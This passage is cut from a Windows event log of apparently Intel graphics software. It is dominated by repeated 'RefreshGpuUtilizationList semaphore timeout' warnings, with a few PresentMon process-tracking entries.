09:02:58.131\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:58.353\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:58.687\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.008\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.327\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.551\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.764\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.203\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.643\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.867\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.194\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:02.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:02.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:02.588\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.135\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.562\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.896\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:04.112\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:04.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:04.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.085\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.960\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.279\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.927\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.577\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.905\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.451\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.667\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.971\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.979\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:26.501\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:26.504\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:26.944\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:27.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:27.381\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:27.813\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.025\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.245\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.456\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.663\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.209\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.842\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:30.058\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:30.601\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:30.821\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.250\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.467\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.790\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.008\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.435\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.644\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.854\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.292\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.729\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.948\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:34.166\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:34.710\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:34.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.355\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.789\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.002\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.659\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.876\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.095\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.493\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.149\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.581\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.437\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.768\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.987\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:41.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:41.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:41.640\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 